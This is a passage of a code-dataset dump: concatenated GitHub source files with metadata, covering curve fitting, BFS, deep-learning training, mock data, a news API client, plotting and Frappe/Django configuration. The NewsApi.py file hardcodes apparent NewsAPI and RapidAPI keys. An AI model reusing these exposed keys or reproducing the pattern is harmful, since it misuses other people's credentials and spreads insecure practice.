self.poly_coefficient[p]*px\r\n poly = sp.Poly(self.fit_poly, t)\r\n self.polynomial_orders = poly.monoms()[::-1] # 阶次\r\n self.__cal_fit_error__() # 误差分析\r\n\r\n def __lambdified__(self,fun_list):\r\n\r\n \"\"\"\r\n 将传入的自定义基函数转化为可以进行��算的函数\r\n \"\"\"\r\n\r\n fun_list1 = []\r\n for fun in fun_list:\r\n if isinstance(fun, float):\r\n raise ValueError(\"不是,哥们儿,谁教你拿小数做基函数啊(恼)\")\r\n if isinstance(fun, int):\r\n fun_list1.append(int(fun))\r\n else:\r\n t = fun.free_symbols.pop()\r\n fun = sp.lambdify(t, fun)\r\n fun_list1.append(fun)\r\n return fun_list1\r\n\r\n def __ortpoly_fit__(self):\r\n\r\n \"\"\"\r\n 使用正交多项式作为基函数\r\n \"\"\"\r\n\r\n def prod(poly_1, poly_2):\r\n \"\"\"\r\n 定义内积运算\r\n \"\"\"\r\n poly = poly_1 * poly_2\r\n t = poly.free_symbols.pop()\r\n poly = sp.lambdify(t, poly)\r\n return np.dot(self.w, poly(self.x))\r\n t = sp.Symbol('t')\r\n coefficient = np.zeros(self.k+1) # 初始化,用于存储拟合多项式系数\r\n ort = np.zeros(self.k+1, dtype=object) # 初始化,用于存储带权正交多项式\r\n ort[0], ort[1] = 1, t - np.dot(self.w, self.x)/np.sum(self.w)\r\n ort[2] = sp.expand((t - (prod(t*ort[1],ort[1])/prod(ort[1],ort[1])))*ort[1] -\\\r\n (prod(ort[1],ort[1])/np.sum(self.w))*ort[0]) # 初始化正交多项式递推的前三项\r\n # 从第四项开始递推求解正交多项式\r\n for i in range(3, self.k+1):\r\n ort[i] = (t - prod(t*ort[i-1],ort[i-1])/prod(ort[i-1],ort[i-1]))*ort[i-1]-\\\r\n (prod(ort[i-1],ort[i-1])/prod(ort[i-2],ort[i-2]))*ort[i-2]\r\n ort[i] = sp.expand(ort[i])\r\n self.ort_poly = ort # 正交多项式:最终的结果\r\n coefficient[0] = np.dot(self.y, self.w)/np.sum(self.w) # 初始化拟合多项式系数的第一项\r\n lambda_ort = ort.copy()\r\n self.fit_poly = coefficient[0]*ort[0] # 初始化拟合多项式的第一项\r\n # 从第二项开始循环求解拟合多项式系数并输出最终的拟合多项式\r\n for i in range(1, self.k+1):\r\n lambda_ort[i] = sp.lambdify(t, lambda_ort[i])\r\n coefficient[i] = np.dot(self.w, self.y*lambda_ort[i](self.x))/\\\r\n np.dot(lambda_ort[i](self.x),lambda_ort[i](self.x))\r\n self.fit_poly += coefficient[i]*ort[i]\r\n self.fit_poly = sp.expand(self.fit_poly)\r\n\r\n # 输出一些拟合多项式的特征\r\n polynomial = sp.Poly(self.fit_poly, t)\r\n self.poly_coefficient = polynomial.coeffs() # 拟合多项式的系数\r\n self.polynomial_orders = polynomial.monoms() # 拟合多项式系数的阶次\r\n self.__cal_fit_error__() # 误差分析\r\n\r\n def __other_fit__(self):\r\n\r\n \"\"\"\r\n 使用自定义的基函数\r\n \"\"\"\r\n \r\n C = np.zeros((self.m,self.m)) # 初始化法方程系数矩阵\r\n d = np.zeros(self.m) # 初始化法方程右端向量\r\n self.fun_list1 = self.__lambdified__(fun_list) # 转化自定义的基函数 # type: ignore\r\n fun_type = list(map(type, self.fun_list1)) # 提取基函数列表中元素的类型\r\n function = None # 元素为函数表达式时元素的类型\r\n for t in fun_type:\r\n if t == int:\r\n continue\r\n if t != int:\r\n function = t\r\n break\r\n # 构造法方程的系数矩阵\r\n for i in range(self.m):\r\n for j in range(self.m):\r\n if isinstance(self.fun_list1[i],function) and isinstance(self.fun_list1[j],function):\r\n C[i,j] = np.dot(self.w, self.fun_list1[i](self.x)*self.fun_list1[j](self.x))\r\n if isinstance(self.fun_list1[i],int) and isinstance(self.fun_list1[j],function):\r\n C[i,j] = np.dot(self.w, self.fun_list1[i]*self.x*self.fun_list1[j](self.x))\r\n if isinstance(self.fun_list1[i],function) and isinstance(self.fun_list1[j],int):\r\n C[i,j] = np.dot(self.w, self.fun_list1[i](self.x)*self.fun_list1[j]*self.x)\r\n if isinstance(self.fun_list1[i],int) and isinstance(self.fun_list1[j],int):\r\n C[i,j] = np.dot(self.w, self.fun_list1[i]*self.fun_list1[j]*self.x)\r\n # 构造法方程的右端向量\r\n for i in range(self.m):\r\n if isinstance(self.fun_list1[i],function):\r\n d[i] = np.dot(self.w, self.fun_list1[i](self.x)*self.y)\r\n if isinstance(self.fun_list1[i],int):\r\n d[i] = np.dot(self.w, self.fun_list1[i]*self.x*self.y)\r\n # 求解法方程\r\n self.poly_coefficient = np.linalg.solve(C,d)\r\n\r\n t = sp.symbols('t')\r\n self.fit_poly = self.poly_coefficient[0]*self.fun_list[0]\r\n for p in range(1,self.m):\r\n self.fit_poly += self.poly_coefficient[p]*self.fun_list[p]\r\n \r\n self.__cal_fit_error__() # 误差分析\r\n\r\n def __cal_fit_error__(self):\r\n\r\n \"\"\"\r\n 计算拟合的误差和均方根误差\r\n \"\"\"\r\n\r\n y_fit = self.cal_x0(self.x)\r\n self.fit_error = self.y - y_fit # 误差向量\r\n self.mse = np.sqrt(np.mean(self.fit_error**2)) # 均方根误差\r\n \r\n def cal_x0(self,x0):\r\n\r\n \"\"\"\r\n 求解给定数值x0的拟合值\r\n \"\"\"\r\n\r\n t = self.fit_poly.free_symbols.pop()\r\n fit_poly = sp.lambdify(t, self.fit_poly)\r\n return fit_poly(x0)\r\n \r\n def plt_curve_fit(self,is_show=True):\r\n\r\n \"\"\"\r\n 拟合曲线以及离散数据点的可视化\r\n \"\"\"\r\n \r\n xi = np.linspace(self.x.min(), self.x.max(), 100)\r\n yi = self.cal_x0(xi) # 拟合值\r\n if is_show:\r\n plt.figure(figsize=(8, 6))\r\n plt.plot(xi, yi, 'k-', lw=1.5, label=\"拟合曲线\")\r\n plt.plot(self.x, self.y, 'ro', lw=1.5, label=\"离散数据点\")\r\n if self.k:\r\n plt.title(\"最小二乘拟合(MSE=%.2e,Order=%d)\"%(self.mse,self.k),fontdict={\"fontsize\":14})\r\n else:\r\n plt.title(\"最小二乘拟合(MSE=%.2e)\"%(self.mse),fontdict={\"fontsize\":14})\r\n plt.xlabel('X',fontdict={\"fontsize\":12})\r\n plt.ylabel(\"Y\",fontdict={\"fontsize\":12})\r\n plt.legend(loc='best')\r\n if is_show:\r\n plt.show()\r\n\r\nif __name__ == \"__main__\":\r\n\r\n # # 使用幂函数作为拟合基函数\r\n # x = np.linspace(0,5,15)\r\n # np.random.seed(0)\r\n # y = 2*np.sin(x)*np.exp(-x)+np.random.randn(15)/100\r\n # ls = LeastSquarePolynomialFitting(x,y,k=5)\r\n # ls.fit_curve()\r\n # print('拟合多项式为:{}'.format(ls.fit_poly))\r\n # print('拟合多项式系数:{}'.format(ls.poly_coefficient))\r\n # print('拟合多项式系数的阶次:{}'.format(ls.polynomial_orders))\r\n # ls.plt_curve_fit()\r\n \r\n # 使用自定义的基函数作为拟合基函数\r\n t = sp.Symbol('t')\r\n fun_list = [1, sp.log(t), sp.cos(t), sp.exp(t)]\r\n x = np.array([0.24, 0.65, 0.95, 1.24, 1.73, 2.01, 2.23, 2.52, 2.77, 2.99])\r\n y = np.array([0.23, -0.26, -1.1, -0.45, 0.27, 0.1, -0.29, 0.24, 0.56, 1])\r\n ls1 = LeastSquarePolynomialFitting(x,y,base_fun='other',fun_list=fun_list)\r\n ls1.fit_curve()\r\n print('拟合多项式为:{}'.format(ls1.fit_poly))\r\n print('拟合多项式系数:{}'.format(ls1.poly_coefficient))\r\n ls1.plt_curve_fit()\r\n\r\n # # 使用正交多项式作为拟合基函数\r\n # x = np.array([0, 0.5, 0.6, 0.7, 0.8, 0.9, 1])\r\n # y = np.array([1, 1.75, 1.96, 2.19, 2.44, 2.71, 3])\r\n # ls2 = LeastSquarePolynomialFitting(x,y,k=2,base_fun='ort')\r\n # ls2.fit_curve()\r\n # print('拟合多项式:{}'.format(ls2.fit_poly))\r\n # print('拟合多项式系数:{}'.format(ls2.poly_coefficient))\r\n # print('拟合多项式系数的阶次:{}'.format(ls2.polynomial_orders))\r\n # ls2.plt_curve_fit()","repo_name":"FantasySilence/Function_Approximation","sub_path":"Function_Approximation/LeastSquareFitting.py","file_name":"LeastSquareFitting.py","file_ext":"py","file_size_in_byte":12818,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"19481282742","text":"from collections import deque\r\nimport sys\r\nn, m, k, x = map(int, sys.stdin.readline().split())\r\nadjList = [[] for _ in range(n+1)]\r\nfor _ in range(m):\r\n data = list(map(int,sys.stdin.readline().split()))\r\n adjList[data[0]].append(data[1])\r\n\r\nqueue = deque([x])\r\ndistance = [0] * (n + 1)\r\nvisited = [False] * (n+1)\r\nvisited[x] = True\r\n\r\nwhile queue:\r\n x = queue.popleft()\r\n if adjList[x]:\r\n for v in adjList[x]:\r\n if not visited[v]:\r\n distance[v] = distance[x] + 1\r\n visited[v] = True\r\n queue.append(v)\r\n\r\nanswer = True\r\nfor i, v in enumerate(distance):\r\n if v == k:\r\n print(i)\r\n answer = False\r\n\r\nif answer:\r\n print(-1)","repo_name":"Mminy62/algorithm","sub_path":"백준/Silver/18352. 특정 거리의 도시 찾기/특정 거리의 도시 찾기.py","file_name":"특정 거리의 도시 찾기.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"24246348609","text":"import os\n# os.system('pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple opencv-python')\n#os.system('pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple einops')\nimport torch\nimport torch.nn as nn\nfrom tqdm import tqdm\n# from apex import amp\nfrom sklearn.metrics import f1_score, confusion_matrix\nfrom torch.autograd import Variable\nfrom sklearn.metrics import roc_auc_score\nfrom sklearn.metrics import cohen_kappa_score\nfrom sklearn.metrics import accuracy_score\nimport os\nimport numpy as np\nimport pandas as pd\nfrom copy import deepcopy\nfrom models.aggregator import *\nfrom models.MyMlp import *\nfrom models.attentionLstm import *\nfrom dataset import Prost_Dataset\nfrom utils.GradualWarmupScheduler import *\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\nfrom models.VIT import *\n\n#fe_selector = FESelector()\n\ndef train_epoch(train_loader, model, criterion, optimizer, feature_selector=None):\n model.train()\n train_loader1 = tqdm(train_loader)\n loss_ret = 0\n count2 = 0\n for i, (token, mask, label) in enumerate(train_loader1):\n print('token',token.shape)\n optimizer.zero_grad()\n label = label.to(device)\n token = token.to(device)\n mask = mask.to(device)\n #print('feature_selector', feature_selector)\n if feature_selector is not None:\n token = feature_selector(token, mask, label)\n final_score = model(token, mask, label)\n loss_com = criterion(final_score, label)\n loss_com.backward()\n optimizer.step()\n loss_ret += loss_com.item()\n #train_loader1.set_description('loss: {:.4}'.format(loss_ret / count2))\n\n return loss_ret\n\n\ndef valid_epoch(valid_loader, model, criterion, feature_selector=None):\n valid_loader = tqdm(valid_loader)\n model.eval()\n ALL_PREDS= []\n TARGETS = []\n for i, (token, mask, label) in enumerate(valid_loader):\n label = label.to(device)\n token = token.to(device)\n mask = mask.to(device)\n with torch.no_grad():\n if feature_selector is not None:\n token = feature_selector(token, mask, label)\n final_score = model(token, mask, label)\n loss_com = criterion(final_score, label)\n ALL_PREDS.append(final_score.sigmoid().sum(1).detach().round())\n TARGETS.append(label.sum(1))\n\n ALL_PREDS = torch.cat(ALL_PREDS).cpu()\n TARGETS = torch.cat(TARGETS).cpu()\n qwk3 = cohen_kappa_score(ALL_PREDS, TARGETS, weights='quadratic')\n acc = accuracy_score(ALL_PREDS, TARGETS)\n f1 = f1_score(ALL_PREDS, TARGETS, average=None)\n f11 = f1_score(ALL_PREDS, TARGETS, average='macro')\n print('auc_score1', qwk3, 'acc', acc, 'f1', f1, 'f11', f11)\n\n return qwk3, acc\n\n\ndef train_(model, train_loader, valid_loader, feature_selector=None):\n\n init_lr = 3e-4\n warmup_factor = 10\n n_epochs = 100\n warmup_epo = 1\n optimizer = torch.optim.Adam(model.parameters(), lr=init_lr / warmup_factor)\n scheduler_cosine = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, n_epochs - warmup_epo)\n scheduler = GradualWarmupScheduler(optimizer, multiplier=warmup_factor, total_epoch=warmup_epo,\n after_scheduler=scheduler_cosine)\n\n criterion = nn.BCEWithLogitsLoss()\n\n best_score = -1000\n for epoch in range(n_epochs):\n train_loss = train_epoch(train_loader, model, criterion, optimizer, feature_selector)\n\n scheduler.step()\n valid_kappa, acc = valid_epoch(valid_loader, model, criterion, feature_selector)\n current_score = valid_kappa\n if current_score > best_score:\n counter = 0\n best_score = current_score\n torch.save(model.state_dict(), os.path.join('./checkpoints', str(fold)+str(best_score)+'_'+str(acc)+'AttentionMIL_256_20x_{}.pth'))\n else:\n counter += 1\n\n\nfrom typing import List\n\nclass Collate:\n def __call__(self, batch: List[dict]) -> dict:\n label = torch.stack([sample[1] for sample in batch])\n token = [sample[0] for sample in batch]\n features = token[0].shape[1]\n token_l = [len(sample[0]) for sample in batch]\n b = len(token_l)\n max_l = max(token_l)\n out = torch.zeros(b, max_l, features)\n mask = torch.zeros(b, max_l, features)\n for i in range(b):\n a = token[i]\n out[i,:a.shape[0],:] = a\n mask[i,:a.shape[0],:] = 1\n\n return out, mask, label\n\n\nmax_leng = 128\nclass Collate2:\n def __call__(self, batch: List[dict]) -> dict:\n label = torch.stack([sample[1] for sample in batch])\n token = [sample[0] for sample in batch]\n features = token[0].shape[1]\n token_l = [len(sample[0]) for sample in batch]\n b = len(token_l)\n max_l = max(token_l)\n out = torch.zeros(b, max_leng, features)\n mask = torch.zeros(b, max_leng, 512)\n\n for i in range(b):\n a = token[i]\n if len(a) >= max_leng:\n out[i, :, :] = a[:max_leng, :]\n else:\n out[i, :a.shape[0], :] = a\n mask[i, :a.shape[0], :] = 1\n\n return out, mask, label\n\nnot_include = ['2910b44434274b848553a4ec3db11df8','f75c7cec3ddc9fbff27aca59b01c5bf5',\n '9d917845ea26f2d2a33790c2a755ef8e','da077ff5258dfb7cd6d604d995de7619',\n '3790f55cad63053e956fb73027179707','3790f55cad63053e956fb73027179707']\n\nif __name__ == '__main__':\n dataset = 'panda'\n folds = [1]\n filedir = './input/h5/panda/'\n agg_type = 'SwinTransformer'#'attention_lstm'#'AttentionMIL'#'CLAM_MB' #''\n embeding_l = 2048\n two_layer = False\n feature_ranking = False\n mlplayer = Mlp2 if two_layer else MyMlp\n\n if agg_type in ['vit']:\n my_collate_fn = Collate2()\n else:\n my_collate_fn = Collate()\n\n if dataset == \"panda\":\n df = pd.read_csv('./input/train_all_final.csv')\n df = df.sample(frac=0.01)\n rr1 = df.groupby(['isup_grade']).count()\n df = df[~df.image_id.isin(not_include)].reset_index(drop=True)\n\n for fold in folds:\n train_idx = np.where((df['kfold'] != fold))[0]\n valid_idx = np.where((df['kfold'] == fold))[0]\n train_dataset = Prost_Dataset(df=df, indinces=train_idx, filedir=filedir, agg_type=agg_type)\n valid_dataset = Prost_Dataset(df=df, indinces=valid_idx, filedir=filedir, agg_type=agg_type)\n\n train_sampler = None\n train_loader = torch.utils.data.DataLoader(\n train_dataset, batch_size=16, shuffle=True,\n collate_fn=my_collate_fn,\n num_workers=2, pin_memory=False, sampler=train_sampler, drop_last=False)\n\n valid_loader = torch.utils.data.DataLoader(\n valid_dataset, batch_size=16, shuffle=False,\n collate_fn=my_collate_fn,\n num_workers=2, pin_memory=False, sampler=train_sampler, drop_last=False)\n\n fe_extractor = nn.Identity()\n if agg_type in ['MAX_MEAN_CAT_AGG']:\n fe_aggregator = MAX_MEAN_CAT_AGG()\n mlp = mlplayer(in_features=2048*2, hidden_features=512, out_features=5)\n if agg_type in ['MAX_AGG']:\n fe_aggregator = MAX_AGG()\n mlp = mlplayer(in_features=2048, hidden_features=512, out_features=5)\n if agg_type in ['MEAN_AGG']:\n fe_aggregator = MEAN_AGG()\n mlp = mlplayer(in_features=2048, hidden_features=512, out_features=5)\n if agg_type in ['GeM']:\n fe_aggregator = GeM()\n mlp = mlplayer(in_features=2048, hidden_features=512, out_features=5)\n if agg_type in ['AttentionMIL']:\n fe_aggregator = AttentionMIL(embeding_l=2048, L=500, D=128, K=1)\n mlp = mlplayer(in_features=500, hidden_features=512, out_features=5)\n if agg_type in ['attention_lstm']:\n fe_aggregator = LSTM_AGG(embeding_l=2048, num_layers=2, hidden_layer=1024, bidirectional=True, batch_first=True)\n mlp = mlplayer(in_features=2048 * 2, hidden_features=512, out_features=5)\n if agg_type in ['GRU_AGG']:\n fe_aggregator = GRU_AGG(embeding_l=embeding_l, num_layers=2, hidden_layer=512, bidirectional=True, batch_first=True)\n mlp = mlplayer(in_features=2048 * 2, hidden_features=512, out_features=5)\n if agg_type in ['RNN_AGG']:\n fe_aggregator = RNN_AGG(embeding_l=embeding_l, num_layers=2, hidden_layer=512, bidirectional=True, batch_first=True)\n mlp = mlplayer(in_features=2048 * 2, hidden_features=512, out_features=5)\n if agg_type in ['vit']:\n fe_aggregator = VisionTransformer(embed_dim=512, depth=6, num_heads=8)\n mlp = mlplayer(in_features=512, hidden_features=512, out_features=5)\n if agg_type in ['CLAM_MB']:\n fe_aggregator = CLAM_MB()\n mlp = mlplayer(in_features=512, hidden_features=512, out_features=5)\n\n model = AttentionLstm(fe_extractor=fe_extractor, fe_aggregator=fe_aggregator, mlp=mlp, agg_type=agg_type)\n if torch.cuda.is_available():\n model = model.cuda()\n\n feature_selector = None\n if feature_ranking:\n model2 = deepcopy(model)\n model2.load_state_dict(torch.load('./weights/VIT_1.pth'.format(fold), map_location='cpu'), strict=True)\n feature_selector = FESelector(model=model2, n_patch=20, agg_type=agg_type)\n if agg_type in ['vit']:\n model.fe_aggregator.reset_patch(n_patch=20)\n\n train_(model, train_loader, valid_loader, feature_selector=feature_selector)\n","repo_name":"maliang07/mycodes","sub_path":"training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":9578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"15003253122","text":"from random import randint\nimport random\nimport uuid\nfrom faker import Faker\nimport json\n\nfake = Faker()\nstudents = []\n\ndef random_rating():\n return randint(1,5)\n\ndef parse_name(name):\n parts = name.split()\n if len(parts) == 3:\n return parts[1:]\n return parts\n\ndef random_student():\n id = str(uuid.uuid4())\n name = fake.name()\n print(name)\n firstname, lastname = parse_name(name)\n email = f\"{firstname}.{lastname}@gmail.com\"\n return {\n \"id\": id, \n \"firstname\": firstname, \n \"lastname\": lastname, \n \"email\": email\n }\n\ndef random_course_rating():\n rating = random_rating()\n studentId = random.choice(students)[\"id\"]\n return {\"rating\": rating, \"studentId\": studentId}\n\ndef random_course():\n id = str(uuid.uuid4())\n name = random.choice([\n 'fizyka 1',\n 'fizyka 2',\n 'analiza 1',\n 'analiza 2',\n 'WDAI',\n 'PO',\n 'AI',\n 'KI',\n 'UX',\n 'CSS',\n 'JS',\n \"SysOpy\",\n \"DevOps\",\n \"Infra\",\n \"WDAI 2\",\n \"WDI+\",\n \"ASD\"\n ])\n image = \"https://www.informatyka.agh.edu.pl/static/img/cooperation_tile.jpg\"\n description = fake.text()[:200]\n ects = randint(2,10)\n semester = randint(1,10)\n courseForm = random.choice([\n \"Lecture\",\n \"Project\",\n \"Lab\",\n \"Excercise\" \n ])\n maxStudents = randint(20, 100)\n ratings = [random_course_rating() for _ in range(randint(1, min(maxStudents, len(students))))]\n enrolledStudents = list(map(lambda x: x[\"studentId\"], ratings))\n\n return {\n \"id\": id,\n \"name\": name,\n \"image\": image,\n \"description\": description,\n \"ects\": ects,\n \"semester\": semester,\n \"courseForm\": courseForm,\n \"maxStudents\": maxStudents,\n \"ratings\": ratings,\n \"enrolledStudents\": enrolledStudents\n }\n\nstudents = [random_student() for _ in range(randint(20, 40))]\n\ncourses = [random_course() for _ in range(randint(10, 20))]\n\nwith open(\"students.json\", \"w\") as f:\n json.dump(students, f, indent=4)\n\nwith open(\"courses.json\", \"w\") as f:\n json.dump(courses, f, indent=4)\n\n\n\n","repo_name":"Qizot/StudentWiki","sub_path":"scripts/generate_mocks.py","file_name":"generate_mocks.py","file_ext":"py","file_size_in_byte":2188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"10975333268","text":"import sys\nsys.stdin = open('input.txt', 'r')\n\nnum = int(input())\n\nfor i in range(1, num+1):\n sum = 0\n for j in str(i):\n if j in ['3', '6', '9']:\n sum += 1\n if sum == 0:\n print(i, end = ' ')\n else:\n print('-'*sum , end = ' ')\n","repo_name":"kimsh8337/daliy-coding","sub_path":"SWEA/연습/D2/1926_간단한 369게임.py","file_name":"1926_간단한 369게임.py","file_ext":"py","file_size_in_byte":270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"34426032284","text":"import requests\nimport newsapi as na\nimport datetime as dt\nimport UIFunctions as ui\n\n\nclass NewsAPI():\n def getNews(self):\n key = '4f4ed8ca60dd4d53bbf8714662fb1d0e'\n newsapi = na.NewsApiClient(api_key=key)\n data = newsapi.get_everything(q='politics', language='en', page_size=5)\n\n\n articles = data['articles']\n for i, article in enumerate(articles):\n ui.formatArticle(article, i)\n\n\n\n\n\n\n\nhn = NewsAPI()\nhn.getNews()\n\n\n\n\n\n\n\n\n\n\n\n'''\nclass HNAPI():\n def getNews(self):\n\n url = \"https://community-hacker-news-v1.p.rapidapi.com/user/jl.json\"\n\n querystring = {\"print\":\"pretty\"}\n\n headers = {\n 'x-rapidapi-key': \"bb1bcad953msh4a1dfd43ff13b0ap1d9c24jsn4cebe941a3cc\",\n 'x-rapidapi-host': \"community-hacker-news-v1.p.rapidapi.com\"\n }\n\n response = requests.request(\"GET\", url, headers=headers, params=querystring)\n\n for index, story in enumerate(response):\n story = self.byteToDic(story)\n itemurl = f\"https://community-hacker-news-v1.p.rapidapi.com/item/{story['id']}.json\"\n\n\n querystring = {\"print\":\"pretty\"}\n\n headers = {\n 'x-rapidapi-key': \"bb1bcad953msh4a1dfd43ff13b0ap1d9c24jsn4cebe941a3cc\",\n 'x-rapidapi-host': \"community-hacker-news-v1.p.rapidapi.com\"\n }\n\n response = requests.request(\"GET\", itemurl, headers=headers, params=querystring)\n\n print(response.text)\n\n def byteToDic(self, bytestring):\n return bytestring.decode('utf-8')\n\n#HNAPI().getNews()\nfor i in HNAPI().byteToDic(b'{\\n \"about\" : \"This is a test\"}'):\n print(i)\n'''","repo_name":"0980991/Hackaton-XHacks","sub_path":"NewsApi.py","file_name":"NewsApi.py","file_ext":"py","file_size_in_byte":1668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"74890637920","text":"dict_1 = {\r\n\"Awedde\":\"It means to overcome anger.\", \r\n\"Awel\":\"Any of various types of hook or hook instrument.\",\r\n\"Awesomesouce\":\"Extremely Good\"\r\n} \r\n\r\nupdater = input(\"Which word you want to update:\")\r\nword_meaning = input(\"Enter the meaning.:\")\r\ndict_1[updater] = word_meaning\r\n\r\nprint(dict_1)\r\nprint(\"Your word added successfully.\")\r\n\r\n","repo_name":"akshat3410/Python-Programs","sub_path":"dictionary_updater.py","file_name":"dictionary_updater.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"14622472864","text":"import os\nimport numpy as np \nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\n# deep magenta: #AD1963\n# green (complementary): #19AD63\n\ncurr_dir = os.getcwd()\nparent_dir = os.path.dirname(curr_dir)\ndata_dir = parent_dir + '/data/data_analysis/'\nfilename = 'type_data.csv'\n\n# Plot a basic scatterplot (no regression line)\ndef scatterplot(x_col, y_col, xlabel, ylabel, title):\n df = pd.read_csv(data_dir + filename, index_col=0)\n y = df[y_col]\n x = df[x_col]\n ax = sns.scatterplot(x, y, data=df, color='#AD1963')\n ax.set(xlabel=xlabel, ylabel=ylabel)\n plt.title(title)\n plt.show()\n\nscatterplot(x_col='age',\n y_col='% pronoun accurate',\n xlabel='Age',\n ylabel='Pronoun Resolution Accuracy',\n title='Child Pronoun Resolution Accuracy vs. Age')","repo_name":"jasminefalk/child-anaphora","sub_path":"scripts/data_viz/deprecated/pronoun_vs_age.py","file_name":"pronoun_vs_age.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"75134027682","text":"x = input()\nchar = {}\nfor i in x:\n\n val = char.get(i)\n if val is None:\n val = 0\n val = val + 1\n char[i] = val\n\nfor key, values in char.items():\n if values == 1:\n non_repeat = key\n break\nprint(non_repeat)\n\n","repo_name":"atotala/Programs","sub_path":"non_repeatinf_char.py","file_name":"non_repeatinf_char.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"27689424938","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom . import __version__ as app_version\n\napp_name = \"ea_theme\"\napp_title = \"Ea Theme\"\napp_publisher = \"Ebkar Technology & Management Solutions\"\napp_description = \"Simple Website template, home, products, login, about, contact.\"\napp_icon = \"octicon octicon-browser\"\napp_color = \"blue\"\napp_email = \"info@ebkar.ly\"\napp_url = \"https://github.com/imad-abdou/ea_theme\"\napp_license = \"MIT\"\n\n# Includes in \n# ------------------\nhide_in_installer = True\n# include js, css files in header of desk.html\n#app_include_css = [\"/assets/ea_theme/css/ea_theme.css\"]\n#app_include_js = [\"/assets/ea_theme/js/ea_theme.js\"]\n\n# include js, css files in header of web template\n# web_include_css = \"/assets/ea_theme/css/ea_theme.css\"\n# web_include_js = \"/assets/ea_theme/js/ea_theme.js\"\n\n# Home Pages\n# ----------\n\n# application home page (will override Website Settings)\nhome_page = \"index\"\n\n\n\n# website user home page (by Role)\n# role_home_page = {\n#\t\"Role\": \"home_page\"\n# }\n\n# website context\nwebsite_context = {\n\t\"disable_website_theme\": True\n}\n\n# Website user home page (by function)\n# get_website_user_home_page = \"ea_theme.utils.get_home_page\"\n\n# Generators\n# ----------\n\n# automatically create page for each record of this doctype\n# website_generators = [\"Web Page\"]\n\n# Installation\n# ------------\n\n# before_install = \"ea_theme.install.before_install\"\n# after_install = \"ea_theme.install.after_install\"\n\n# Desk Notifications\n# ------------------\n# See frappe.core.notifications.get_notification_config\n\n# notification_config = \"ea_theme.notifications.get_notification_config\"\n\n# Permissions\n# -----------\n# Permissions evaluated in scripted ways\n\n# permission_query_conditions = {\n# \t\"Event\": \"frappe.desk.doctype.event.event.get_permission_query_conditions\",\n# }\n#\n# has_permission = {\n# \t\"Event\": \"frappe.desk.doctype.event.event.has_permission\",\n# }\n\n# Document Events\n# ---------------\n# Hook on document methods and events\n\n# doc_events = {\n# \t\"*\": {\n# \t\t\"on_update\": \"method\",\n# \t\t\"on_cancel\": \"method\",\n# \t\t\"on_trash\": \"method\"\n#\t}\n# }\n\n# Scheduled Tasks\n# ---------------\n\n# scheduler_events = {\n# \t\"all\": [\n# \t\t\"ea_theme.tasks.all\"\n# \t],\n# \t\"daily\": [\n# \t\t\"ea_theme.tasks.daily\"\n# \t],\n# \t\"hourly\": [\n# \t\t\"ea_theme.tasks.hourly\"\n# \t],\n# \t\"weekly\": [\n# \t\t\"ea_theme.tasks.weekly\"\n# \t]\n# \t\"monthly\": [\n# \t\t\"ea_theme.tasks.monthly\"\n# \t]\n# }\n\n# Testing\n# -------\n\n# before_tests = \"ea_theme.install.before_tests\"\n\n# Overriding Whitelisted Methods\n# ------------------------------\n#\n# override_whitelisted_methods = {\n# \t\"frappe.desk.doctype.event.event.get_events\": \"ea_theme.event.get_events\"\n# }\n\n","repo_name":"ascorbic-acid/ea_theme","sub_path":"ea_theme/hooks.py","file_name":"hooks.py","file_ext":"py","file_size_in_byte":2657,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"54"} +{"seq_id":"21652473137","text":"\"\"\"\nWSGI config for mutationDnnWeb project.\n\nIt exposes the WSGI callable as a module-level variable named ``application``.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/1.11/howto/deployment/wsgi/\n\"\"\"\n\nimport os, sys\n\nfrom django.core.wsgi import get_wsgi_application\n\napache_configuration = os.path.dirname(__file__)\nproject = os.path.dirname(apache_configuration)\nworkspace = os.path.dirname(project)\nsys.path.append(workspace)\nsys.path.append(project)\n\nsys.path.append('/home/skjena/Code/cancerTherapy')\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"mutationDnnWeb.settings\")\n\napplication = get_wsgi_application()\n","repo_name":"dunkelhaus/cancerTherapy","sub_path":"modules/RESTAPI/mutationDnnWeb/mutationDnnWeb/wsgi.py","file_name":"wsgi.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"54"} +{"seq_id":"3169805937","text":"## Singleton, one class for parsing files into the program\r\n## Once the CSV files are parsed, we create two arrays that can be accessed from anywhere\r\n## \r\n## Version 0.1.0, \r\n## Date 3.29.17\r\n\r\nfrom Field import Field\r\nfrom PhysicalExam import PhysicalExam\r\nfrom Condition import Condition\r\n\r\nimport csv\r\n\r\nlistOfConditions = {}\r\nlistOfPhysicalExams = {}\r\nlistOfChecklistItems = {}\r\n\r\n# Constants for Physical Exams\r\n\r\nPHYSICAL_COLUMN = 0\r\nPHYSICAL_LINE_COLUMN = 1\r\nTEXT_COLUMN = 2\r\n\r\n# Constants for 